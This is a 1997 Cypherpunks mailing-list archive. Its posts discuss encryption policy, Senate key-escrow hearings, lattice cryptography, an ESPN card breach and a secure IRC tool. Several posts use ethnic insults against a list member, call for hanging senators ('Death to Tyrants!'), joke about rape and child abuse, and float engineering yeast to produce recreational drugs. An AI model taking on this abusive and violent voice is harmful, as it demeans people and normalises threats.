Eudora users. See PGP's welcome page for the notice, check the bottom.






From nobody at REPLAY.COM  Wed Jul  9 14:43:59 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 05:43:59 +0800
Subject: News of the Wired
Message-ID: <199707092128.XAA16030@basement.replay.com>



Subject: 
             News of the Weird [486] - 30May97
by Chuck Shepherd

LEAD STORIES

* Ms. Courtney Mann, the head of the Philadelphia chapter of the
National Association for the Advancement of White People, who is
a tax preparer and single mother, was rebuffed in an attempt to join
a Ku Klux Klan-sponsored march in Pittsburgh in April, according
to the Pittsburgh Post-Gazette.  Though she has been in the
NAAWP for at least four years, the Pennsylvania KKK Grand
Dragon turned her down because Mann is black.  "She wanted me
to send transportation [for the rally]," said the Grand Dragon. "She
wanted to stay at my house [during rally weekend].  She's all
confused, man.  I don't think she knows she's a black."  

  And we have Kent Crispin. When's the trading deadline?

* April's annual religious fertility celebration in Nagoya, Japan,
designed to improve the rice harvest, featured as usual a 12-foot-
long, bright pink, plastic penis, carried through the street, followed
by displays of smaller organs and a giant banner of a blood-
vesseled penis, testicles, and pubic hair.  Souvenir candy of the
same shape was sold during the event, and at the end of a parade,
the giant organ was placed on the fertility shrine. 

  Don't they do the same thing in North Dakota?

* In mid-April, five weeks before the national elections, the
governing party in Indonesia announced, via "scientific
calculation," according to one leader, that President Suharto had
won re-election with 70.02 percent of the vote. 

  There's a standard joke in Mexico about thieves breaking into
a government office and stealing the results of next year's
election.

COURT DOCKET

* In February, Maryland circuit court judge Thomas Bollinger Sr.
agreed to wipe the record clean of Charles Weiner's spousal battery
charge after he completes probation--for the sole purpose of
helping Weiner join the Chestnut Ridge Country Club, which had
until then rejected him because of his criminal record.  (In 1993,
Bollinger gave a rapist probation for an attack against a drunken
woman, remarking that finding an unconscious woman on a bed
was "the dream of a lot of males, quite honestly.")  Four days later,
Bollinger reversed his decision and removed himself from all
domestic violence and sexual offense cases. 

  Hey! Everyone _knows_ that "snoring" implies consent!

* In Santa Cruz, Calif., in February, Mr. Danis Rivera, 25, rejected
a plea bargain that would have sent him to prison for one year for
having sex with underage girls.  However, at his trial he was in
such a foul mood that he constantly spit at court personnel and
finally had to be outfitted with a Hannibal Lecter-type bonnet over
his face.  He was convicted and sentenced to 16 years in prison. 
And in a Providence, R. I., courtroom in April, Latin King gangster
George "Animal" Perry, on trial for murder and racketeering and
frustrated at the length of the prosecutor's closing argument, which
denied him a much-needed restroom break, rose from his chair,
unzipped his fly, and took one, anyway. 

  It seems reasonable that if one petitions the court for relief,
and is denied, then the only recourse is to relieve oneself.

SCHEMES

* St. Charles Catholic Church (Picayune, Miss.) and nearby St.
Margaret Mary Church (Slidell, La.) posted security ushers at the
doors in February to make sure that parishioners were not
pocketing communion wafers.  Devil-worshiping ceremonies often
use wafers for symbolic desecration, and when six people were
seen leaving St. Charles in December with their wafers, the
churches' leaders began to fear a local Satanic conspiracy. 

  Nonsense. They were probably just trading them for drugs and
child pornography.

* In April in Houston, Tex., Robert Perry Russell, Jr., 44, was
sentenced to 20 years in prison for sexual assault and diapering of a
14-year-old boy, but police say the number of victims may have
been as many as 10.  According to police, Russell liked to take
boys out in a boat, tell them a tale about a headless killer seeking to
rescue a toddler from the dangerous lake and who kills all other
people, and suggest that putting on the diapers he happens to have
with him would be a good way, should the killer appear, of
convincing him of his toddler status. 

  And, as compensation for their pain and suffering, the victims
accepted the deed to Russel's prime real estate in Florida and
a bridge in the New York area.

DANGEROUS ACTIVITIES

* Dishwashing:  In March, a busboy at a Key West, Fla., Marriott
resort allegedly shot and killed a supervisor who had apparently
made some constructive criticism of the busboy's loading of the
dishwasher.  And in May, police in Helena, Ark., detained a 15-
year-old boy they suspect shot his older sister to death after a
dispute over which one would wash the dishes. 

  I'll wash, you die.

==============================

ADMINISTRATIVE NOTICES
[Except for the last paragraph, giving a new, alternative address
for Chuck Shepherd's CompuServe mailbox, these notices
unchanged since December 27, 1996]

NEWS OF THE WEIRD, founded in 1988, is a nationally syndicated
newspaper column distributed by Universal Press Syndicate.
Individuals may have the columns mailed to them electronically,
free of charge, approximately three weeks after the cover date,
which is the date when most subscribing newspapers will publish
the column.  Send a message to notw-request at nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)

COPYRIGHT:  Neither the name News of the Weird nor any
issue of News of the Weird nor any portion of any issue of News
of the Weird may be used for any commercial purpose
whatsoever.  One example of such prohibited use is to use part or
all of an issue of News of the Weird as material on a commercial
Web page or on a commercial message.  ("Commercial" includes
Web sites or messages that contain any paid or bartered
advertising.)  If a Web site or message contains utterly no
commercial content, and it is freely accessible by the public with
no fee charged, portions of News of the Weird may be used
without prior permission provided that the portion(s) is(are)
accurately quoted and identified on the Web site or message as
from News of the Weird and this copyright notice is affixed at
some point:  Copyright 1997 by Universal Press Syndicate.

BOOKS BY CHUCK SHEPHERD:  The Concrete Enema and
Other News of the Weird Classics by Chuck Shepherd (Andrews
and McMeel, 1996, $6.95) is now in bookstores everywhere. 
Or you can order by mail from Atomic Books, 1018 N.
Charles St., Baltimore MD 21201 (add $2 postage for the first
book, $3 for two to the same address, $4 for 3, and $5 for more
than 3) (credit card orders 1-800-778-6246,
http://www.atomicbooks.com).  Or by credit card  from
Andrews and McMeel, 1-800-642-6480 (they bill $2 postage per
book).  Also by Chuck Shepherd and available at only the larger
bookstores in America:  News of the Weird (Plume Books, 1989,
$9), More News of the Weird (Plume, 1990, $9), Beyond News
of the Weird (Plume, 1991, $9), and America's Least Competent
Criminals (HarperPerennial, 1993, $9).  (The 1989, 1990, and
1991 books were co-authored with John J. Kohut and Roland
Sweet.)

HARDCOPIES:  The weekly newspaper columns, as well as
Chuck Shepherd's weird-news 'zine View from the Ledge (now
in its 16th year) are available in hardcopy, but unlike with
cyberspace, they're not free.  Send a buck for sample copies to
P. O. Box 8306, St. Petersburg FL 33738.

AUTHENTICITY:  All news stories mentioned in News of the
Weird are from news stories appearing in daily newspapers in the
U. S. and Canada (or occasionally, reputable daily newspapers in
other countries or other reputable magazines and journals).  No
so-called supermarket tabloid, and no story that was not intended
to be "news," is ever the source of a News of the Weird story. 

ADDRESSES:  To send mail and messages to Chuck Shepherd,
write Weird at CompuServe.com or P. O. Box 8306, St.
Petersburg FL 33738.






From dpeterson at jonescyber.com  Wed Jul  9 16:30:12 1997
From: dpeterson at jonescyber.com (Peterson, Doug)
Date: Thu, 10 Jul 1997 07:30:12 +0800
Subject: No Subject
Message-ID: <199707092310.QAA11848@toad.com>



This is my first post to the list.  I though this might be interesting.

Taken from:
http://wire.ap.org/APwire/pages/center/?STORYOID=206f.599a&FRONTID=TECHN
OLOGY&SLOC=AP&SKEY=LATECLAMMOSSFUMEELANFUM&SLOG=sidebar

07/09/1997 17:34 EST 

FBI Wants Computer Decoding Ability 

By CASSANDRA BURRELL 
Associated Press Writer 

WASHINGTON (AP) -- American law enforcers want to be allowed to decode
scrambled computer messages during investigations in much the same way
as they now use wiretaps, FBI director Louis Freeh said Wednesday. 

Freeh's plea in Senate testimony came as the computer industry bitterly
fights bills aiming to restrict the export of sophisticated
data-scrambling devices to foreign computer users. 

Offenders inside the United States are turning increasingly to computers
to commit such crimes as child molestation, child pornography and drug
trafficking, Freeh told the Senate Judiciary Committee. Some
investigations are hindered by the criminal use of complex equipment
that scrambles messages into codes that are all but impossible to crack
without code keys. 

``Major drug dealers are now using encrypted communications, and they
are using it to our distinct disadvantage,'' Freeh said. 

The best solution would include setting up a key recovery system where
developers of encryption devices deposit ``keys'' with a third party
that can unscramble their codes, he said. As with wiretaps, authorities
would have to obtain court orders to make the keys available for law
enforcement. 

The same data-scrambling technology that is making the Internet a safer,
more secure place to do business is causing headaches on Capitol Hill,
where lawmakers are struggling with its regulation. 

On one side are computer software and hardware developers trying to
compete with companies operating abroad without restrictions. On the
other side are enforcement authorities who say they don't want to tie
the hands of U.S. businesses but need a way to eavesdrop on computer
criminals. 

``At stake are some of our most valuable and reliable investigative
techniques and the public safety of our citizens,'' Freeh said. Without
a key system, ``the ability of law enforcement to investigate and
sometimes prevent the most serious crimes and terrorism will be severely
impaired. Our national security will also be jeopardized.'' 

Currently, encryption technology is sold without restriction inside the
United States. 

In an attempt to keep pace with technology advancing at lightning speed,
the Clinton administration relaxed export controls last year. The
computer industry complained the loosening didn't go far enough. 

``The current law is unacceptable. The status quo is unacceptable,''
said Sen. Bob Kerrey, D-Neb., co-sponsor of one of several encryption
bills moving through Congress. 

Sponsored by Kerrey and Sen. John McCain, R-Ariz., that bill would set
up a key recovery system to give computer companies strong incentives to
make keys available to investigators who obtain a court's permission. It
would link companies' cooperation to quicker, easier export rules. 

The Senate Commerce Committee approved the bill last month and
recommended the full Senate pass it. A more liberal bill sponsored by
Sen. Conrad Burns, R-Mont., and Sen. Patrick Leahy, D-Vt., fell by the
wayside. 

The Business Software Alliance, a coalition of computer businesses,
promptly denounced the Kerrey-McCain bill as ``a step backward'' that
would hurt American competitiveness. 

``Strong cryptography is exactly like a good safe,'' said Raymond Ozzie,
chairman of Iris Associates, a subsidiary of Lotus Development and IBM
Corp. ``The best safe in the world cannot protect you if the combination
is written on a scrap of paper and left lying around or is otherwise
known to the safe cracker,'' he said in testimony submitted to the
Senate committee. 

A House bill introduced by Rep. Bob Goodlatte, R-Va., would bar the
government from requiring businesses to set aside keys. 

The Clinton administration has criticized that bill. Its provisions, the
administration said, would ``severely compromise law enforcements'
ability to protect the American people from the threats posed by
terrorists, organized crime, child pornographers, drug cartels,
financial predators, hostile foreign intelligence agents and other
criminals.'' 

Doug Peterson






From iverson at usa.net  Wed Jul  9 16:30:20 1997
From: iverson at usa.net (Casey Iverson)
Date: Thu, 10 Jul 1997 07:30:20 +0800
Subject: A really  meaningfull upgrade
Message-ID: <3.0.32.19691231190000.006a08e4@pop.netaddress.com>



At 12:49 PM 7/9/97 EDT, THE RUSSIAN  SCUM BAG, DISSEASED RIDDEN ASS HOLE
VULIS 
 gives us an an example of his KGB inspired humor:

>Have you tried complaining to the European Envelope manufacturers
>association in Switzerland???

C.I.






From edgarswank at juno.com  Wed Jul  9 17:29:57 1997
From: edgarswank at juno.com (Edgar W Swank)
Date: Thu, 10 Jul 1997 08:29:57 +0800
Subject: FWD: SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
Message-ID: <19970709.171758.10958.3.edgarswank@juno.com>



SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
Two scientists at the IBM Almaden Research Center in San Jose,
Calif.  have developed a new approach to public key cryptography
based on mathematical constructs called lattices.  The system
would be based on a particular set of hidden hyperplanes that
constitute the private key and a method of generating points near
one of those hyperplanes for the public key.  The security of the
system rests on the computational difficulty of finding the
"unique" shortest line segment (or vector) that connects any two
points in a given lattice -- a task that's fairly easy in two or
three dimensions, but much more difficult in a 100-dimensional
lattice.  The researchers are working to turn their theory into a
marketable product, and see applications in creating digital
signatures and other security and authentication schemes.
(Science News 5 Jul 97)

Edgar W. Swank   
                 (preferred)
Edgar W. Swank   
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html






From hallam at ai.mit.edu  Wed Jul  9 18:00:09 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Thu, 10 Jul 1997 09:00:09 +0800
Subject: Potential terrorists
Message-ID: <199707100037.UAA06462@life.ai.mit.edu>




Potential terrorists is I believe a term of art.

It is basically someone who has acquired the means to conduct terrorism, is
believed to have the intent but is not known to have committed an act.

Its basically someone in an advanced stage of a conspiracy. If the FBI had
got wind of McVeigh a week before the bombing and knew he had the truckload
of explosives he would fit this description.


Thing I missed on the Bonn report was any indication about the UK
government's policy. I suspect that this means it is either in accord with
the rest of Europe or more likely as yet undetermined. Statements to the
effect that they are following the Tory/US line seem to fit baddly. If the
UK was acting as appostles for the US they would have stated their
position.

I believe the UK government is an important key. The UK inevitably has more
influence in the US than the rest of Europe since the language and legal
systems are compatible. The reverse is also true and in the past more so
because the Tories were desperate to have US nuclear arms. If the US can't
bend the UK to its side it has lost the argument in Europe.

The Blair administration has a massive legislative program ahead of it
undoing 18 years of Tory mismanagement and corruption. They are very
carefull to avoid any issue which they think may take a lot of
parliamentary time. A small number of Labour backbenchers who support our
cause could therefore prevail.



Phill












From lharrison at mhv.net  Wed Jul  9 18:48:16 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Thu, 10 Jul 1997 09:48:16 +0800
Subject: Hacker cracks ESPN
In-Reply-To: <199707092258.PAA09560@central.cnet.com>
Message-ID: <3.0.2.32.19970709213334.006ec08c@pop.mhv.net>



---------------------------------------------------------------------------
   CNET NEWS.COM Dispatch  *  385,000 Readers     Wednesday, July 9, 1997
---------------------------------------------------------------------------
                          TOP NEWS.COM STORIES FOR TODAY
----------------------------------------------------------------------------

HACKER TAKES CREDIT CARD NUMBERS, OTHER INFORMATION FROM ESPN
        http://www.news.com/News/Item/0%2C4%2C12275%2C00.html?nd

Starwave is warning customers about an "intruder" who took credit card
numbers from the ESPN and NBA Web sites and then sent messages to the card
owners about the alleged security flaws. Will the security breach on the
popular sports sites affect emerging e-commerce efforts?

----------------------------------------------------------------------------



*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From freelsd at lsd.telekom.ru  Wed Jul  9 18:52:32 1997
From: freelsd at lsd.telekom.ru (FreeLSD)
Date: Thu, 10 Jul 1997 09:52:32 +0800
Subject: circ-1.0.4: RSA and 3DES for IRC
Message-ID: <199707100137.FAA02160@lsd.telekom.ru>



        Announcing: Circ 1.0.4 -- RSA and 3DES for Internet Relay Chat!

        Circ is an IRC script and C program which allows for secure
conversations over Internet Relay Chat (IRC).  It has been designed for
ircII, but may work (with help) on other clients as well.
        'al' wrote circ 1.0, but this is more advanced.  Much is fixed,
but multiuser channel-chat is temporarily broken.  If you still use circ,
you should switch, and your old keys will still work, but Circ 1.0.4 and
circ do not talk together very easily. 
        It uses AT&T truerand library, Martin Nicolay's RSA-Verfahren,
and D3DES.  It is licensed under the GNU GPL.

ftp://ftp.usr.msk.ru/pub/circ/circ-1.0.4.tar.gz

        If you run a cryptography information site, feel free to link this
URL.

Chris
chris at ftp.usr.msk.ru






From ravage at ssz.com  Wed Jul  9 20:21:55 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 10 Jul 1997 11:21:55 +0800
Subject: index.html
Message-ID: <199707100255.VAA07163@einstein.ssz.com>



    CNN logo 
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            OPEN MICROPHONE CATCHES CHRETIEN'S CRITICISM OF CLINTON
                                       
     Chretien Dehaene July 9, 1997
     Web posted at: 9:10 p.m. EDT (0110 GMT)
     
     From Senior White House Correspondent Wolf Blitzer
     
     MADRID, Spain (CNN) -- Canadian Prime Minister Jean Chretien,
     apparently unaware that he was talking into an open microphone, was
     videotaped Wednesday making some rather undiplomatic comments about
     Bill Clinton, joking that the U.S. president formed his position
     about NATO expansion because he thought it would win votes at home.
     
     Chretien's remarks were caught on videotape as he talked with
     Belgian Prime Minister Jean-Luc Dehaene and Luxembourg's Prime
     Minister Jean-Claude Juncker before a NATO meeting in Madrid.
     
     Apparently unaware the microphone in front of him was on, Chretien
     bragged that his country does not let the United States dictate its
     policy, and suggested American politicians make decisions solely for
     reasons of expediency.
     
     "In your country, in my country, all the politicians would be in
     prison because they sell their votes," Chretien said.
     
     He also said Clinton was in favor of inviting Poland, Hungary and
     the Czech Republic to join NATO because it would woo voters.
     
     Speaking in French, the Canadian prime minister said: "It's not
     reasons of state. It's all done for short-term political reasons, to
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     states. That has noting to do with world security. It's because in
     Chicago, Mayor (Richard M.) Daley controls lots of votes for the
     nomination."
     
     The three leaders laughed as they waited for the Clinton and his
     advisers to arrive for the meeting.
     
     Juncker asked, "And if we started without them?"
     
     "To prove that we know what to do without them," Dehaene added.
     
     "To prove we're independent. He (Chretien), he's used to not doing
     what they want," Juncker said.
     
     "I make it my policy," Chretien said. "But it's popular. The Cuba
     affair. I was the first to stand up" against it U.S. policy
     tightening the economic embargo on Cuba.
     
     The three leaders chuckled among themselves.  
     rule CNN Plus 
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     * U.S. prevails in historic NATO expansion - July 8, 1997
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     * NATO agrees to add 3 countries, official says - July 8, 1997
     * Clinton faces fight at home and abroad over NATO expansion - July
       7, 1997
     * On summit eve, NATO divided on new members - July 7, 1997
     * Hold the obit: NATO re-emerging with new members - July 6, 1997
     * Report: Yeltsin to skip NATO expansion summit - June 18, 1997
       
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From declan at well.com  Wed Jul  9 20:25:21 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 10 Jul 1997 11:25:21 +0800
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: 



The Senate Judiciary committee today heard testimony on
key escrow, particularly the "Secure Public Networks
Act" (S. 909) introduced last month. The Senate
Commerce committee on June 19 approved the bill,
backed by Sen. Bob Kerrey and Sen. John McCain, which
would create a national key escrow infrastructure.
Pro-encryption legislation is dead in the Senate;
McCain-Kerrey has taken its place.

Here's a cast of characters from today's hearing...

SEN. ORRIN HATCH (R): Asked what PGP stood for. Hatch,
who chaired the hearing, said "one would expect the
executive branch to lead" on such an important issue
but "the Clinton administration has been all over the
map." Said it's time for Congress to seize the debate,
that it's already "acting as a broker for these
competing interests" and the Senate Judiciary
committee in particular "must serve as a forum for
open debate in this area."

SEN. PATRICK LEAHY (D): The Senate's supposed defender
of crypto-freedom was at best a milquetoast one today.
During his opening remarks, he refrained from
criticizing bills to encourage key recovery; in fact,
he argued that *he's* been pushing key recovery bills
far longer than anyone else. ("There has been _one_
key recovery bill pending in the Senate in the last
Congress and for most of this one. That is the ECPA,
which I introduced...") Spoke against the
McCain-Kerrey bill not on broad, philosophical grounds
but on narrower grounds such as awarding too much
discretionary power to the Commerce Secretary.

SEN. CHARLES GRASSLEY (R): Tried to paint himself as
someone who understands the dangers of government
power by noting he joined many Republicans in opposing
roving wiretaps last summer, but then spoke darkly of
pedophiles armed with crypto. "Encryption is hindering
the investigation of chid sex offenders," Grassley
warned. He told how Colorado police couldn't break
into a teen's password-protected electronic organizer
where incriminating information might be stored. His
continuing fixation on child molesters shone through
today, as it did two years ago at a hearing for his
Net-censorship bill. He concluded: "How many child
molesters should go free because of encryption?"

SEN. BOB KERREY (D): Perhaps gaining confidence in his
political backing, Sen. Bob Kerrey spoke at length
about the dangers of uncontrolled *domestic* use of
crypto. "The current law is unacceptable. The status
quo is unacceptable," he said. At one point he talked
about scrapping any legislative changes to export
rules -- and focusing instead just on domestic crypto
and domestic key escrow.

SEN. JOHN KYL (R): Criticized Kerrey for being too
moderate. "My own view is that the legislation does
not go far enough," Sen. Kyl said of the McCain-Kerrey
bill. He said he was concerned about *any* changes to
export controls and wanted to keep the status quo. "I
don't want to be sitting up here and to have law
enforcement officials say to us you had the
opportunity to protect American lives and you didn't
do it," Kyl said. Tossed easy lobs to FBI Director
Freeh, who batted them out of the park.

SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
Kyl's concerns." Noted she represented a high-tech
state but still was concerned about the uncontrolled
spread of encryption. Said to Freeh: "You've made a
clear and compelling case for key recovery. If it was
understood by the American people, they'd be
supportive." Followed up on Grassley's point about the
passworded organizer by asking Kerrey, "Without
revealing the classified briefing you participated in
and we have recently, what's puzzling me is that the
Colorado law enforcement doesn't have any recourse to
be able to break into a system." She said she thought
that the FBI could tunnel into such a device, but FBI
director Louis Freeh shook his head no.

SEN. JOHN ASHCROFT (R): Emerged as a staunch
crypto-defender. Asked Freeh why, if 56-bit crypto was
good enough for the general public, did the
administration allow banks to export 128-bit crypto?
Told Freeh, "Your presumption is that law breakers
will use key recovery systmes that are voluntary."
Argued that "there's no need for us to pass
legislation [on key recovery]... this is something to
which the market is responding." Wondered why the Cali
Cartel would use crypto with backdoors for the Feds.
Dismissed arguments about other countries' crypto
restrictions by saying: "So we have a whole bunch of
other comuntries without the commitment to civil
liberties we have." Controlling crypto is tricky
because "we're in a universe that's dynamic," he said.
"It seems to me that with our marketplace using
128-bit, we ought to be very careful about saying we
can consume it, we can use it, but we can't export
it." Landed a solid blow when he questioned how the
"crypto-in-a-crime" provision would work if someone
encrypts their tax data and is found guilty of a crime
later. "Is he guilty of a second crime because he
sought to protect the integrity of his tax returns
with encryption?"

More info:

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://www.well.com/~declan/fc/

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From snow at smoke.suba.com  Wed Jul  9 20:37:02 1997
From: snow at smoke.suba.com (snow)
Date: Thu, 10 Jul 1997 11:37:02 +0800
Subject: can i join
In-Reply-To: <3.0.16.19970707115957.44179a86@popd.ix.netcom.com>
Message-ID: <199707100336.WAA00231@smoke.suba.com>



> At 10:37 PM 7/6/97 -0500, you wrote:
> >Drifter0 at aol.com wrote:
> >> thanx
> >   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
> >proper procedures.
> I got some chuckles from your  'Flame Form' and sympathize with view
> expressed therein.
> However:
> How do you propose that we get our import  message of strong crypto
> awareness out to the clueless if we display elitism, impatience and
> intolerance to their ignorance?

	Easy. Everyone wants to be at least considered part of the elite.

	






From snow at smoke.suba.com  Wed Jul  9 20:44:37 1997
From: snow at smoke.suba.com (snow)
Date: Thu, 10 Jul 1997 11:44:37 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <199707100339.WAA00249@smoke.suba.com>



> Tim, I'm not having any "problems" with bwalk (the only computer with the
> modem - others are in no way connected to the internet for security reasons)
> I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
> before I add NT 4.0.

	I'd say that is a problem. 






From snow at smoke.suba.com  Wed Jul  9 20:58:41 1997
From: snow at smoke.suba.com (snow)
Date: Thu, 10 Jul 1997 11:58:41 +0800
Subject: [MILCOM] NSA: struggling with diversity ...
In-Reply-To: <199707080601.IAA14197@basement.replay.com>
Message-ID: <199707100400.XAA00403@smoke.suba.com>



> We need a new agency, one to defend us against infowar, to help
> industrial competitiveness, to assist Americans in retaining their
> freedoms rather than attempting to strip them away for its own evil
> purposes.  Let us hope that the changing of the guard at the NSA will

	WE are that agency.






From snow at smoke.suba.com  Wed Jul  9 21:20:59 1997
From: snow at smoke.suba.com (snow)
Date: Thu, 10 Jul 1997 12:20:59 +0800
Subject: More on crypto from Bonn
In-Reply-To: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
Message-ID: <199707100419.XAA00486@smoke.suba.com>



> In message <3.0.16.19970709093445.23d7be9e at pop.radix.net>, Donald Weightman writes:
> >         What's a "potential" terrorist? (Is the occasional apparent c'punx
> > paranoia justified?)
> 
> I also think it's particularly amusing that an American is lecturing a German
> about terrorism. Who has more experience with the subject, anyway?

	From which side?






From zx325s7xv at uunet.uu.net  Thu Jul 10 12:28:06 1997
From: zx325s7xv at uunet.uu.net (zx325s7xv at uunet.uu.net)
Date: Thu, 10 Jul 1997 12:28:06 -0700 (PDT)
Subject: Question...
Message-ID: 


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http://www.windansea1.com/tpnref.htm






From azur at netcom.com  Wed Jul  9 21:46:42 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 10 Jul 1997 12:46:42 +0800
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
In-Reply-To: 
Message-ID: 



>SEN. CHARLES GRASSLEY (R): Tried to paint himself as
>someone who understands the dangers of government
>power by noting he joined many Republicans in opposing
>roving wiretaps last summer, but then spoke darkly of
>pedophiles armed with crypto. "Encryption is hindering
>the investigation of chid sex offenders," Grassley
>warned. He told how Colorado police couldn't break
>into a teen's password-protected electronic organizer
>where incriminating information might be stored.
>
>SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
>Kyl's concerns." Noted she represented a high-tech
>state but still was concerned about the uncontrolled
>spread of encryption. Said to Freeh: "You've made a
>clear and compelling case for key recovery. If it was
>understood by the American people, they'd be
>supportive." Followed up on Grassley's point about the
>passworded organizer by asking Kerrey, "Without
>revealing the classified briefing you participated in
>and we have recently, what's puzzling me is that the
>Colorado law enforcement doesn't have any recourse to
>be able to break into a system." She said she thought
>that the FBI could tunnel into such a device, but FBI
>director Louis Freeh shook his head no.

We need to find out what software the teen was using.  I can see the ads now...

WANT TO TRUST YOUR IMPORTANT DATA TO UNPROVEN SECURITY SOFTWARE?

USE "SAFEHOUSE" AND EVEN THE FEDS WON'T BE ABLE TO FIND YOUR GROCERY LIST!

--$teve







From tcmay at got.net  Wed Jul  9 22:03:39 1997
From: tcmay at got.net (Tim May)
Date: Thu, 10 Jul 1997 13:03:39 +0800
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
In-Reply-To: 
Message-ID: 



At 8:06 PM -0700 7/9/97, Declan McCullagh wrote:

>Here's a cast of characters from today's hearing...

Except maybe for Ashcroft--and it may be too soon to tell about him--the
rest have just shown their expected colors. I say we just hang them all and
be done with it.

...
>SEN. PATRICK LEAHY (D): The Senate's supposed defender
>of crypto-freedom was at best a milquetoast one today.
...

Many of us warned long ago that Leahy was no friend of liberty, despite his
soothing comments at the SAFE forum last summer. His support of other
statist policies makes him just another fool on the Hill.

...
>SEN. BOB KERREY (D): Perhaps gaining confidence in his
>political backing, Sen. Bob Kerrey spoke at length
>about the dangers of uncontrolled *domestic* use of
>crypto. "The current law is unacceptable. The status
>quo is unacceptable," he said. At one point he talked
>about scrapping any legislative changes to export
>rules -- and focusing instead just on domestic crypto
>and domestic key escrow.

A law to ban domestic use of strong crypto is coming. All it will take is
some horrific incident--another bombing in a building, another Dahmer case,
etc., where crypto is involved in any way. This will be the catalyst for
the outlawing of unapproved crypto.

The Supreme Court may or may not then overturn such a ban. (To most of us,
of course, the free speech issues are crystal clear: no law may dictate the
form of speech, especially when no issues of "interstate commerce" or
"obscenity" are anywhere in sight. To make felons out of those who write in
code in their electronic journals is something even Orwell seems to have
missed. Though in Orwell's case I suppose it was because the keeping of
journals was itself a crime, one Winston was able to hide due to the layout
of his room. One wonders when Kerrey, Clinton, and McCain will think of
banning journals except when copies are deposited weekly at the Diary
Recovery Agency.)

...
>SEN. JOHN KYL (R): Criticized Kerrey for being too
>moderate. "My own view is that the legislation does
>not go far enough," Sen. Kyl said of the McCain-Kerrey
...

The competition to outdo the others is beginning, signalling the usual
stampede toward the passage of a bill.

>SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
>Kyl's concerns." Noted she represented a high-tech
...

Always the lug nut.

They all deserve what they get.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From azur at netcom.com  Wed Jul  9 22:28:36 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 10 Jul 1997 13:28:36 +0800
Subject: Recreational pharmaceuticals by genetic engineering
Message-ID: 



I know this is off-topic for the list...

But why hasn't some cleaver graduate student engineered a common mold or
yeast to yield easily extracted (or directly ingestible) common
recreational pharmaceuticals?  Ideally it would be a perpetual source, like
sour dough starter, and easily cultured.  Once distributed to the street it
would be impossible to stop or track (since no controlled chemicals would
be required for production).

--$teve







From shamrock at netcom.com  Wed Jul  9 23:01:40 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 10 Jul 1997 14:01:40 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <3.0.2.32.19970709224723.0073e670@netcom10.netcom.com>



At 10:21 PM 7/9/97 -0700, Steve Schear wrote:
>I know this is off-topic for the list...
>
>But why hasn't some cleaver graduate student engineered a common mold or
>yeast to yield easily extracted (or directly ingestible) common
>recreational pharmaceuticals?

Its a bit of work, but certainly doable. Interesting idea.

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From tcmay at got.net  Wed Jul  9 23:19:28 1997
From: tcmay at got.net (Tim May)
Date: Thu, 10 Jul 1997 14:19:28 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: 



At 10:21 PM -0700 7/9/97, Steve Schear wrote:
>I know this is off-topic for the list...
>
>But why hasn't some cleaver graduate student engineered a common mold or
>yeast to yield easily extracted (or directly ingestible) common
>recreational pharmaceuticals?  Ideally it would be a perpetual source, like
>sour dough starter, and easily cultured.  Once distributed to the street it
>would be impossible to stop or track (since no controlled chemicals would
>be required for production).

You know, if Jim Bell was still contributing to the list, the chemist in
him would surely produce some posts on this.

Then, when the narcs and BATFags searched his house and found the
inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
and a computer person, so the mold, etc. is inevitable) they could add this
to the indictment.

And "The Oregonian" could breathlessly headline: "Drug-Producing Molds
Found in Home of Terror-Chemist."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
